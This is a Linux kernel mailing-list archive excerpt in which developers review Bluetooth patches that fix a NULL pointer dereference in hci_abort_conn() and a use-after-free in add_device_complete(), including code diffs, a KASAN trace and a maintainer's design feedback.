>> >> flag test and hci_cmd_sync_cancel() atomic with respect to the worker,
>> >> so a queued command is simply dequeued, and an in-flight command owned
>> >> by this connection is cancelled without the risk of cancelling an
>> >> unrelated command that became pending in the meantime. CIS uses the same
>> >> path via the existing HCI_CONN_CREATE_CIS flag.
>> >>
>> >> hci_acl_create_conn_sync() and hci_le_create_conn_sync() clear
>> >> HCI_CONN_CREATE after the create command completes, but the command
>> >> status handler can free conn via hci_conn_del() (for example when the
>> >> controller rejects the connection) while the worker is still blocked on
>> >> the connection complete event. Hold a reference on conn across the
>> >> create command so the flag can be cleared without a use-after-free.
>> >>
>> >> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
>> >> Cc: stable@vger.kernel.org
>> >> Suggested-by: XIAO WU <xiaowu.417@qq.com>
>> >> Assisted-by: Claude:claude-opus-4-8
>> >> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
>> >> ---
>> >>  include/net/bluetooth/hci_core.h |  1 +
>> >>  net/bluetooth/hci_conn.c         | 21 +------
>> >>  net/bluetooth/hci_sync.c         | 96 ++++++++++++++++++++++++++++----
>> >>  3 files changed, 88 insertions(+), 30 deletions(-)
>> >>
>> >> diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
>> >> index aa600fbf9a53..aa554c34f9ec 100644
>> >> --- a/include/net/bluetooth/hci_core.h
>> >> +++ b/include/net/bluetooth/hci_core.h
>> >> @@ -988,6 +988,7 @@ enum {
>> >>         HCI_CONN_AUTH_FAILURE,
>> >>         HCI_CONN_PER_ADV,
>> >>         HCI_CONN_BIG_CREATED,
>> >> +       HCI_CONN_CREATE,
>> >>         HCI_CONN_CREATE_CIS,
>> >>         HCI_CONN_CREATE_BIG_SYNC,
>> >>         HCI_CONN_BIG_SYNC,
>> >> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
>> >> index 54eabaa46960..eba4a548bef5 100644
>> >> --- a/net/bluetooth/hci_conn.c
>> >> +++ b/net/bluetooth/hci_conn.c
>> >> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
>> >>
>> >>         conn->abort_reason = reason;
>> >>
>> >> -       /* If the connection is pending check the command opcode since that
>> >> -        * might be blocking on hci_cmd_sync_work while waiting its respective
>> >> -        * event so we need to hci_cmd_sync_cancel to cancel it.
>> >> -        *
>> >> -        * hci_connect_le serializes the connection attempts so only one
>> >> -        * connection can be in BT_CONNECT at time.
>> >> +       /* Cancel the connect attempt. A return of 0 means the create command
>> >> +        * was still queued and got dequeued, so there is nothing to disconnect.
>> >>          */
>> >> -       if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
>> >> -               switch (hci_skb_event(hdev->sent_cmd)) {
>> >> -               case HCI_EV_CONN_COMPLETE:
>> >> -               case HCI_EV_LE_CONN_COMPLETE:
>> >> -               case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
>> >> -               case HCI_EVT_LE_CIS_ESTABLISHED:
>> >> -                       hci_cmd_sync_cancel(hdev, ECANCELED);
>> >> -                       break;
>> >> -               }
>> >> -       /* Cancel connect attempt if still queued/pending */
>> >> -       } else if (!hci_cancel_connect_sync(hdev, conn)) {
>> >> +       if (!hci_cancel_connect_sync(hdev, conn))
>> >>                 return 0;
>> >> -       }
>> >>
>> >>         /* Run immediately if on cmd_sync_work since this may be called
>> >>          * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
>> >> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
>> >> index df23245d6ccd..06b87e9cd999 100644
>> >> --- a/net/bluetooth/hci_sync.c
>> >> +++ b/net/bluetooth/hci_sync.c
>> >> @@ -6611,6 +6611,11 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>> >>
>> >>         bt_dev_dbg(hdev, "conn %p", conn);
>> >>
>> >> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
>> >> +        * clear_bit() at done.
>> >> +        */
>> >> +       hci_conn_get(conn);
>> >> +
>> >>         clear_bit(HCI_CONN_SCANNING, &conn->flags);
>> >>         conn->state = BT_CONNECT;
>> >>
>> >> @@ -6623,6 +6628,7 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>> >>                     hdev->le_scan_type == LE_SCAN_ACTIVE &&
>> >>                     !hci_dev_test_flag(hdev, HCI_LE_SIMULTANEOUS_ROLES)) {
>> >>                         hci_conn_del(conn);
>> >> +                       hci_conn_put(conn);
>> >>                         return -EBUSY;
>> >>                 }
>> >>
>> >> @@ -6668,6 +6674,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>> >>                                              &own_addr_type);
>> >>         if (err)
>> >>                 goto done;
>> >> +
>> >> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
>> >> +        * cancel it while blocking on the connection complete event.
>> >> +        */
>> >> +       set_bit(HCI_CONN_CREATE, &conn->flags);
>> >> +
>> >>         /* Send command LE Extended Create Connection if supported */
>> >>         if (use_ext_conn(hdev)) {
>> >>                 err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
>> >> @@ -6703,11 +6715,14 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>> >>                                        conn->conn_timeout, NULL);
>> >>
>> >>  done:
>> >> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
>> >> +
>> >>         if (err == -ETIMEDOUT)
>> >>                 hci_le_connect_cancel_sync(hdev, conn, 0x00);
>> >>
>> >>         /* Re-enable advertising after the connection attempt is finished. */
>> >>         hci_resume_advertising_sync(hdev);
>> >> +       hci_conn_put(conn);
>> >>         return err;
>> >>  }
>> >>
>> >> @@ -6982,10 +6997,25 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
>> >>         else
>> >>                 cp.role_switch = 0x00;
>> >>
>> >> -       return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
>> >> -                                       sizeof(cp), &cp,
>> >> -                                       HCI_EV_CONN_COMPLETE,
>> >> -                                       conn->conn_timeout, NULL);
>> >> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
>> >> +        * clear_bit() below.
>> >> +        */
>> >> +       hci_conn_get(conn);
>> >> +
>> >> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
>> >> +        * cancel it while blocking on the connection complete event.
>> >> +        */
>> >> +       set_bit(HCI_CONN_CREATE, &conn->flags);
>> >> +
>> >> +       err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
>> >> +                                      sizeof(cp), &cp,
>> >> +                                      HCI_EV_CONN_COMPLETE,
>> >> +                                      conn->conn_timeout, NULL);
>> >> +
>> >> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
>> >> +       hci_conn_put(conn);
>> >> +
>> >> +       return err;
>> >>  }
>> >>
>> >>  int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
>> >> @@ -7039,20 +7069,62 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
>> >>
>> >>  int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
>> >>  {
>> >> -       if (conn->state != BT_OPEN)
>> >> -               return -EINVAL;
>> >> +       struct hci_cmd_sync_work_entry *entry;
>> >> +       hci_cmd_sync_work_func_t func = NULL;
>> >> +       hci_cmd_sync_work_destroy_t destroy = NULL;
>> >> +       int create_flag = -1;
>> >> +       int err = -EBUSY;
>> >>
>> >>         switch (conn->type) {
>> >>         case ACL_LINK:
>> >> -               return !hci_cmd_sync_dequeue_once(hdev,
>> >> -                                                 hci_acl_create_conn_sync,
>> >> -                                                 conn, NULL);
>> >> +               func = hci_acl_create_conn_sync;
>> >> +               create_flag = HCI_CONN_CREATE;
>> >> +               break;
>> >>         case LE_LINK:
>> >> -               return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
>> >> -                                                 conn, create_le_conn_complete);
>> >> +               func = hci_le_create_conn_sync;
>> >> +               destroy = create_le_conn_complete;
>> >> +               create_flag = HCI_CONN_CREATE;
>> >> +               break;
>> >> +       case CIS_LINK:
>> >> +               /* LE Create CIS is shared by the whole CIG and cannot be
>> >> +                * dequeued per-connection; only cancel it in-flight below.
>> >> +                */
>> >> +               create_flag = HCI_CONN_CREATE_CIS;
>> >
>> > Instead of doing everything in the same function, it probably makes
>> > more sense to add dedicated functions for each type, for example,
>> > `hci_acl_cancel_create_conn_sync`, etc.
>> >
>>
>> int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
>> {
>>         switch (conn->type) {
>>         case ACL_LINK:
>>                 return hci_cancel_create_conn_sync(hdev, conn, HCI_CONN_CREATE,
>>                                                    hci_acl_create_conn_sync,
>>                                                    NULL);
>>         case LE_LINK:
>>                 return hci_cancel_create_conn_sync(hdev, conn, HCI_CONN_CREATE,
>>                                                    hci_le_create_conn_sync,
>>                                                    create_le_conn_complete);
>>         case CIS_LINK:
>>                 return hci_cancel_create_conn_sync(hdev, conn,
>>                                                    HCI_CONN_CREATE_CIS, NULL,
>>                                                    NULL);
>>         default:
>>                 return -ENOENT;
>>         }
>> }
>>
>> I would like to have something like this.
>> hci_acl_cancel_create_conn_sync will have an unnecessary wrapper.
>> What do you think?
>
> No, just do what I said. Things like hci_cis_cancel_create_conn_sync
> are actually quite different on their own. In fact, if we handle more
> variants of conn->type the differences will actually become more
> pronounced so let's not pretend they are similar.
>

OK, will do.

>> >> +               break;
>> >> +       default:
>> >> +               return -ENOENT;
>> >>         }
>> >>
>> >> -       return -ENOENT;
>> >> +       /* The create command is either still queued or in flight. Hold
>> >> +        * cmd_sync_work_lock across the test and the cancel: the worker takes
>> >> +        * this lock to dequeue every entry, so while it is held no other command
>> >> +        * can become pending, which keeps hci_cmd_sync_cancel() from racing with
>> >> +        * completion and cancelling an unrelated command.
>> >> +        */
>> >> +       mutex_lock(&hdev->cmd_sync_work_lock);
>> >> +
>> >> +       /* The flag is set while the worker blocks on the connection complete
>> >> +        * event, so if it is set this connection owns the pending request.
>> >> +        */
>> >> +       if (create_flag >= 0 && test_bit(create_flag, &conn->flags)) {
>> >> +               hci_cmd_sync_cancel(hdev, ECANCELED);
>> >> +               goto unlock;
>> >> +       }
>> >> +
>> >> +       /* Otherwise it may still be queued; dequeue it. A successful dequeue
>> >> +        * means it never started, so there is nothing to disconnect.
>> >> +        */
>> >> +       if (func) {
>> >> +               entry = _hci_cmd_sync_lookup_entry(hdev, func, conn, destroy);
>> >> +               if (entry) {
>> >> +                       _hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
>> >> +                       err = 0;
>> >> +               }
>> >> +       }
>> >> +
>> >> +unlock:
>> >> +       mutex_unlock(&hdev->cmd_sync_work_lock);
>> >> +       return err;
>> >>  }
>> >>
>> >>  int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
>> >> --
>> >> 2.54.0
>> >>
>> >
>> >
>> > --
>> > Luiz Augusto von Dentz
>>
>> Best,
>> Siwei
>
>
>
> -- 
> Luiz Augusto von Dentz

Best,
Siwei

^ permalink raw reply

* Re: [PATCH v5 1/2] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: Luiz Augusto von Dentz @ 2026-06-15 15:11 UTC (permalink / raw)
  To: Siwei Zhang; +Cc: Pauli Virtanen, XIAO WU, linux-bluetooth
In-Reply-To: <cbe3c81f-7919-4a13-b636-5d2bc776e094@app.fastmail.com>

Hi Siwei,

On Mon, Jun 15, 2026 at 11:06 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>
> Hi Luiz,
>
> On Mon, Jun 15, 2026, at 10:09 AM, Luiz Augusto von Dentz wrote:
> > Hi Siwei,
> >
> > On Mon, Jun 15, 2026 at 9:12 AM Siwei Zhang <oss@fourdim.xyz> wrote:
> >>
> >> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
> >> was pending, but hdev->sent_cmd can be NULL while req_status is still
> >> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
> >> protection fault from the hci_rx_work() receive path.
> >>
> >> Instead of inspecting hdev->sent_cmd, track the in-flight create
> >> connection command with a new per-connection HCI_CONN_CREATE flag and
> >> route all cancellation through hci_cancel_connect_sync(). The create
> >> command is in exactly one of two states: still queued, or in flight.
> >> hci_cancel_connect_sync() holds cmd_sync_work_lock across the whole
> >> decision: the worker takes this lock to dequeue every entry, so while it
> >> is held a queued command cannot start running and an in-flight command
> >> cannot complete and let the next command become pending. This keeps the
> >> flag test and hci_cmd_sync_cancel() atomic with respect to the worker,
> >> so a queued command is simply dequeued, and an in-flight command owned
> >> by this connection is cancelled without the risk of cancelling an
> >> unrelated command that became pending in the meantime. CIS uses the same
> >> path via the existing HCI_CONN_CREATE_CIS flag.
> >>
> >> hci_acl_create_conn_sync() and hci_le_create_conn_sync() clear
> >> HCI_CONN_CREATE after the create command completes, but the command
> >> status handler can free conn via hci_conn_del() (for example when the
> >> controller rejects the connection) while the worker is still blocked on
> >> the connection complete event. Hold a reference on conn across the
> >> create command so the flag can be cleared without a use-after-free.
> >>
> >> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
> >> Cc: stable@vger.kernel.org
> >> Suggested-by: XIAO WU <xiaowu.417@qq.com>
> >> Assisted-by: Claude:claude-opus-4-8
> >> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
> >> ---
> >>  include/net/bluetooth/hci_core.h |  1 +
> >>  net/bluetooth/hci_conn.c         | 21 +------
> >>  net/bluetooth/hci_sync.c         | 96 ++++++++++++++++++++++++++++----
> >>  3 files changed, 88 insertions(+), 30 deletions(-)
> >>
> >> diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
> >> index aa600fbf9a53..aa554c34f9ec 100644
> >> --- a/include/net/bluetooth/hci_core.h
> >> +++ b/include/net/bluetooth/hci_core.h
> >> @@ -988,6 +988,7 @@ enum {
> >>         HCI_CONN_AUTH_FAILURE,
> >>         HCI_CONN_PER_ADV,
> >>         HCI_CONN_BIG_CREATED,
> >> +       HCI_CONN_CREATE,
> >>         HCI_CONN_CREATE_CIS,
> >>         HCI_CONN_CREATE_BIG_SYNC,
> >>         HCI_CONN_BIG_SYNC,
> >> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
> >> index 54eabaa46960..eba4a548bef5 100644
> >> --- a/net/bluetooth/hci_conn.c
> >> +++ b/net/bluetooth/hci_conn.c
> >> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
> >>
> >>         conn->abort_reason = reason;
> >>
> >> -       /* If the connection is pending check the command opcode since that
> >> -        * might be blocking on hci_cmd_sync_work while waiting its respective
> >> -        * event so we need to hci_cmd_sync_cancel to cancel it.
> >> -        *
> >> -        * hci_connect_le serializes the connection attempts so only one
> >> -        * connection can be in BT_CONNECT at time.
> >> +       /* Cancel the connect attempt. A return of 0 means the create command
> >> +        * was still queued and got dequeued, so there is nothing to disconnect.
> >>          */
> >> -       if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
> >> -               switch (hci_skb_event(hdev->sent_cmd)) {
> >> -               case HCI_EV_CONN_COMPLETE:
> >> -               case HCI_EV_LE_CONN_COMPLETE:
> >> -               case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
> >> -               case HCI_EVT_LE_CIS_ESTABLISHED:
> >> -                       hci_cmd_sync_cancel(hdev, ECANCELED);
> >> -                       break;
> >> -               }
> >> -       /* Cancel connect attempt if still queued/pending */
> >> -       } else if (!hci_cancel_connect_sync(hdev, conn)) {
> >> +       if (!hci_cancel_connect_sync(hdev, conn))
> >>                 return 0;
> >> -       }
> >>
> >>         /* Run immediately if on cmd_sync_work since this may be called
> >>          * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
> >> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
> >> index df23245d6ccd..06b87e9cd999 100644
> >> --- a/net/bluetooth/hci_sync.c
> >> +++ b/net/bluetooth/hci_sync.c
> >> @@ -6611,6 +6611,11 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> >>
> >>         bt_dev_dbg(hdev, "conn %p", conn);
> >>
> >> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
> >> +        * clear_bit() at done.
> >> +        */
> >> +       hci_conn_get(conn);
> >> +
> >>         clear_bit(HCI_CONN_SCANNING, &conn->flags);
> >>         conn->state = BT_CONNECT;
> >>
> >> @@ -6623,6 +6628,7 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> >>                     hdev->le_scan_type == LE_SCAN_ACTIVE &&
> >>                     !hci_dev_test_flag(hdev, HCI_LE_SIMULTANEOUS_ROLES)) {
> >>                         hci_conn_del(conn);
> >> +                       hci_conn_put(conn);
> >>                         return -EBUSY;
> >>                 }
> >>
> >> @@ -6668,6 +6674,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> >>                                              &own_addr_type);
> >>         if (err)
> >>                 goto done;
> >> +
> >> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
> >> +        * cancel it while blocking on the connection complete event.
> >> +        */
> >> +       set_bit(HCI_CONN_CREATE, &conn->flags);
> >> +
> >>         /* Send command LE Extended Create Connection if supported */
> >>         if (use_ext_conn(hdev)) {
> >>                 err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
> >> @@ -6703,11 +6715,14 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> >>                                        conn->conn_timeout, NULL);
> >>
> >>  done:
> >> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
> >> +
> >>         if (err == -ETIMEDOUT)
> >>                 hci_le_connect_cancel_sync(hdev, conn, 0x00);
> >>
> >>         /* Re-enable advertising after the connection attempt is finished. */
> >>         hci_resume_advertising_sync(hdev);
> >> +       hci_conn_put(conn);
> >>         return err;
> >>  }
> >>
> >> @@ -6982,10 +6997,25 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
> >>         else
> >>                 cp.role_switch = 0x00;
> >>
> >> -       return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> >> -                                       sizeof(cp), &cp,
> >> -                                       HCI_EV_CONN_COMPLETE,
> >> -                                       conn->conn_timeout, NULL);
> >> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
> >> +        * clear_bit() below.
> >> +        */
> >> +       hci_conn_get(conn);
> >> +
> >> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
> >> +        * cancel it while blocking on the connection complete event.
> >> +        */
> >> +       set_bit(HCI_CONN_CREATE, &conn->flags);
> >> +
> >> +       err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> >> +                                      sizeof(cp), &cp,
> >> +                                      HCI_EV_CONN_COMPLETE,
> >> +                                      conn->conn_timeout, NULL);
> >> +
> >> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
> >> +       hci_conn_put(conn);
> >> +
> >> +       return err;
> >>  }
> >>
> >>  int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
> >> @@ -7039,20 +7069,62 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
> >>
> >>  int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
> >>  {
> >> -       if (conn->state != BT_OPEN)
> >> -               return -EINVAL;
> >> +       struct hci_cmd_sync_work_entry *entry;
> >> +       hci_cmd_sync_work_func_t func = NULL;
> >> +       hci_cmd_sync_work_destroy_t destroy = NULL;
> >> +       int create_flag = -1;
> >> +       int err = -EBUSY;
> >>
> >>         switch (conn->type) {
> >>         case ACL_LINK:
> >> -               return !hci_cmd_sync_dequeue_once(hdev,
> >> -                                                 hci_acl_create_conn_sync,
> >> -                                                 conn, NULL);
> >> +               func = hci_acl_create_conn_sync;
> >> +               create_flag = HCI_CONN_CREATE;
> >> +               break;
> >>         case LE_LINK:
> >> -               return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
> >> -                                                 conn, create_le_conn_complete);
> >> +               func = hci_le_create_conn_sync;
> >> +               destroy = create_le_conn_complete;
> >> +               create_flag = HCI_CONN_CREATE;
> >> +               break;
> >> +       case CIS_LINK:
> >> +               /* LE Create CIS is shared by the whole CIG and cannot be
> >> +                * dequeued per-connection; only cancel it in-flight below.
> >> +                */
> >> +               create_flag = HCI_CONN_CREATE_CIS;
> >
> > Instead of doing everything in the same function, it probably makes
> > more sense to add dedicated functions for each type, for example,
> > `hci_acl_cancel_create_conn_sync`, etc.
> >
>
> int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
> {
>         switch (conn->type) {
>         case ACL_LINK:
>                 return hci_cancel_create_conn_sync(hdev, conn, HCI_CONN_CREATE,
>                                                    hci_acl_create_conn_sync,
>                                                    NULL);
>         case LE_LINK:
>                 return hci_cancel_create_conn_sync(hdev, conn, HCI_CONN_CREATE,
>                                                    hci_le_create_conn_sync,
>                                                    create_le_conn_complete);
>         case CIS_LINK:
>                 return hci_cancel_create_conn_sync(hdev, conn,
>                                                    HCI_CONN_CREATE_CIS, NULL,
>                                                    NULL);
>         default:
>                 return -ENOENT;
>         }
> }
>
> I would like to have something like this.
> hci_acl_cancel_create_conn_sync will have an unnecessary wrapper.
> What do you think?

No, just do what I said. Things like hci_cis_cancel_create_conn_sync
are actually quite different on their own. In fact, if we handle more
variants of conn->type the differences will actually become more
pronounced so let's not pretend they are similar.

> >> +               break;
> >> +       default:
> >> +               return -ENOENT;
> >>         }
> >>
> >> -       return -ENOENT;
> >> +       /* The create command is either still queued or in flight. Hold
> >> +        * cmd_sync_work_lock across the test and the cancel: the worker takes
> >> +        * this lock to dequeue every entry, so while it is held no other command
> >> +        * can become pending, which keeps hci_cmd_sync_cancel() from racing with
> >> +        * completion and cancelling an unrelated command.
> >> +        */
> >> +       mutex_lock(&hdev->cmd_sync_work_lock);
> >> +
> >> +       /* The flag is set while the worker blocks on the connection complete
> >> +        * event, so if it is set this connection owns the pending request.
> >> +        */
> >> +       if (create_flag >= 0 && test_bit(create_flag, &conn->flags)) {
> >> +               hci_cmd_sync_cancel(hdev, ECANCELED);
> >> +               goto unlock;
> >> +       }
> >> +
> >> +       /* Otherwise it may still be queued; dequeue it. A successful dequeue
> >> +        * means it never started, so there is nothing to disconnect.
> >> +        */
> >> +       if (func) {
> >> +               entry = _hci_cmd_sync_lookup_entry(hdev, func, conn, destroy);
> >> +               if (entry) {
> >> +                       _hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
> >> +                       err = 0;
> >> +               }
> >> +       }
> >> +
> >> +unlock:
> >> +       mutex_unlock(&hdev->cmd_sync_work_lock);
> >> +       return err;
> >>  }
> >>
> >>  int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
> >> --
> >> 2.54.0
> >>
> >
> >
> > --
> > Luiz Augusto von Dentz
>
> Best,
> Siwei



-- 
Luiz Augusto von Dentz

^ permalink raw reply

* [PATCH] Bluetooth: MGMT: Fix UAF of hci_conn_params in add_device_complete
From: Samuel Page @ 2026-06-15 15:09 UTC (permalink / raw)
  To: Marcel Holtmann, Luiz Augusto von Dentz
  Cc: linux-bluetooth, linux-kernel, Samuel Page, stable

add_device_complete() runs from the hci_cmd_sync_work kworker, which
holds only hci_req_sync_lock and *not* hci_dev_lock.  It calls
hci_conn_params_lookup() and then dereferences the returned object
(params->flags) without taking hci_dev_lock:

	params = hci_conn_params_lookup(hdev, &cp->addr.bdaddr,
					le_addr_type(cp->addr.type));
	...
	device_flags_changed(NULL, hdev, &cp->addr.bdaddr,
			     cp->addr.type, hdev->conn_flags,
			     params ? params->flags : 0);

hci_conn_params_lookup() walks hdev->le_conn_params and is documented to
require hdev->lock.  A concurrent MGMT_OP_REMOVE_DEVICE
(remove_device()), which does run under hci_dev_lock, can call
hci_conn_params_free() to list_del() and kfree() the very object the
lookup returned, so the subsequent params->flags read touches freed
memory [0].

Hold hci_dev_lock() across the hci_conn_params_lookup() and the read of
params->flags (and the matching event emission) so the lookup result
cannot be freed by a concurrent remove_device() before it is used,
honouring the locking contract of hci_conn_params_lookup().

[0]: (trailing page/memory-state dump trimmed)
BUG: KASAN: slab-use-after-free in add_device_complete+0x358/0x3d8 net/bluetooth/mgmt.c:7671
Read of size 1 at addr ffff000017ab26c1 by task kworker/u9:8/388

CPU: 1 UID: 0 PID: 388 Comm: kworker/u9:8 Not tainted 7.0.11 #20 PREEMPT
Hardware name: linux,dummy-virt (DT)
Workqueue: hci0 hci_cmd_sync_work
Call trace:
 show_stack+0x2c/0x3c arch/arm64/kernel/stacktrace.c:499 (C)
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0xb4/0xd4 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x118/0x5d8 mm/kasan/report.c:482
 kasan_report+0xb0/0xf4 mm/kasan/report.c:595
 __asan_report_load1_noabort+0x20/0x2c mm/kasan/report_generic.c:378
 add_device_complete+0x358/0x3d8 net/bluetooth/mgmt.c:7671
 hci_cmd_sync_work+0x14c/0x240 net/bluetooth/hci_sync.c:334
 process_one_work+0x628/0xd38 kernel/workqueue.c:3289
 process_scheduled_works kernel/workqueue.c:3372 [inline]
 worker_thread+0x7a8/0xac0 kernel/workqueue.c:3453
 kthread+0x39c/0x444 kernel/kthread.c:436
 ret_from_fork+0x10/0x20 arch/arm64/kernel/entry.S:860

Allocated by task 3401:
 kasan_save_stack+0x3c/0x64 mm/kasan/common.c:57
 kasan_save_track+0x20/0x3c mm/kasan/common.c:78
 kasan_save_alloc_info+0x40/0x54 mm/kasan/generic.c:570
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xd4/0xd8 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x1b0/0x458 mm/slub.c:5385
 kmalloc_noprof include/linux/slab.h:950 [inline]
 kzalloc_noprof include/linux/slab.h:1188 [inline]
 hci_conn_params_add+0x10c/0x4b0 net/bluetooth/hci_core.c:2279
 hci_conn_params_set net/bluetooth/mgmt.c:5162 [inline]
 add_device+0x5b4/0xa54 net/bluetooth/mgmt.c:7755
 hci_mgmt_cmd net/bluetooth/hci_sock.c:1721 [inline]
 hci_sock_sendmsg+0x10b4/0x1dd0 net/bluetooth/hci_sock.c:1841
 sock_sendmsg_nosec net/socket.c:727 [inline]
 __sock_sendmsg+0xe0/0x128 net/socket.c:742
 sock_write_iter+0x250/0x390 net/socket.c:1195
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x66c/0xab0 fs/read_write.c:688
 ksys_write+0x1fc/0x24c fs/read_write.c:740
 __do_sys_write fs/read_write.c:751 [inline]
 __se_sys_write fs/read_write.c:748 [inline]
 __arm64_sys_write+0x70/0xa4 fs/read_write.c:748
 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]
 invoke_syscall+0x84/0x2a8 arch/arm64/kernel/syscall.c:49
 el0_svc_common.constprop.0+0xe4/0x294 arch/arm64/kernel/syscall.c:132
 do_el0_svc+0x44/0x5c arch/arm64/kernel/syscall.c:151
 el0_svc+0x38/0xac arch/arm64/kernel/entry-common.c:724
 el0t_64_sync_handler+0xa0/0xe4 arch/arm64/kernel/entry-common.c:743
 el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:596

Freed by task 3740:
 kasan_save_stack+0x3c/0x64 mm/kasan/common.c:57
 kasan_save_track+0x20/0x3c mm/kasan/common.c:78
 kasan_save_free_info+0x4c/0x74 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x88/0xb8 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6170 [inline]
 kfree+0x14c/0x458 mm/slub.c:6488
 hci_conn_params_free+0x288/0x484 net/bluetooth/hci_core.c:2312
 remove_device+0x4b0/0x968 net/bluetooth/mgmt.c:7919
 hci_mgmt_cmd net/bluetooth/hci_sock.c:1721 [inline]
 hci_sock_sendmsg+0x10b4/0x1dd0 net/bluetooth/hci_sock.c:1841
 sock_sendmsg_nosec net/socket.c:727 [inline]
 __sock_sendmsg+0xe0/0x128 net/socket.c:742
 sock_write_iter+0x250/0x390 net/socket.c:1195
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x66c/0xab0 fs/read_write.c:688
 ksys_write+0x1fc/0x24c fs/read_write.c:740
 __do_sys_write fs/read_write.c:751 [inline]
 __se_sys_write fs/read_write.c:748 [inline]
 __arm64_sys_write+0x70/0xa4 fs/read_write.c:748
 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]
 invoke_syscall+0x84/0x2a8 arch/arm64/kernel/syscall.c:49
 el0_svc_common.constprop.0+0xe4/0x294 arch/arm64/kernel/syscall.c:132
 do_el0_svc+0x44/0x5c arch/arm64/kernel/syscall.c:151
 el0_svc+0x38/0xac arch/arm64/kernel/entry-common.c:724
 el0t_64_sync_handler+0xa0/0xe4 arch/arm64/kernel/entry-common.c:743
 el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:596

Fixes: 1e2e3044c1bc ("Bluetooth: MGMT: Fix MGMT_OP_ADD_DEVICE invalid device flags")
Cc: stable@vger.kernel.org
Assisted-by: Bynario AI
Signed-off-by: Samuel Page <sam@bynar.io>
---
 net/bluetooth/mgmt.c | 3 +++
 1 file changed, 3 insertions(+)

